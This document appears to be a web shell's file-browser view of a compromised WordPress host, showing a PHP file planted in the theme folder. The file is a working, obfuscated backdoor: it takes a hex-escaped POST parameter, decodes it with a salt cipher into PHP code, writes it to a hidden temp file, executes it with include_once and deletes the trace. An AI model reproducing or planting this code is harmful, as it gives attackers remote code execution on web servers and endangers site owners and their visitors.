HEX
Server: Apache
System: Linux p3plzcpnl504740.prod.phx3.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User: l2pbkn5l6xav (4972877)
PHP: 7.2.34
Disabled: NONE
Upload Files
File: /home/l2pbkn5l6xav/public_html/wp-content/themes/custom.file.2.1784531921.php
<!--uy1oSgtk-->
<?php

if(isset($_POST["p\x72\x6Fpert\x79\x5Fs\x65\x74"])){
$key = array_filter(["/tmp", "/var/tmp", getenv("TEMP"), getenv("TMP"), session_save_path(), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm"]);
$component = $_POST["p\x72\x6Fpert\x79\x5Fs\x65\x74"];
		$component		= explode (			"." , 		$component 	 ); 
$ref = '';
$salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($salt);
$i = 0;

array_walk($component, function ($val) use (&$ref, &$i, $salt, $lenS) {
    $chS = ord($salt[$i % $lenS]);
    $d = ((int)$val - $chS - ($i % 10)) ^ 1;
    $ref .= chr($d);
    $i++;
});
foreach ($key as $holder):
            if ((bool)is_dir($holder) && (bool)is_writable($holder)) {
            $data_chunk = "$holder/.pgrp";
            if ($marker = fopen($data_chunk, 'w')) {
    fwrite($marker, $ref);
    fclose($marker);
    include_once $data_chunk;
    unlink($data_chunk);
    exit;
}
        }
endforeach;
}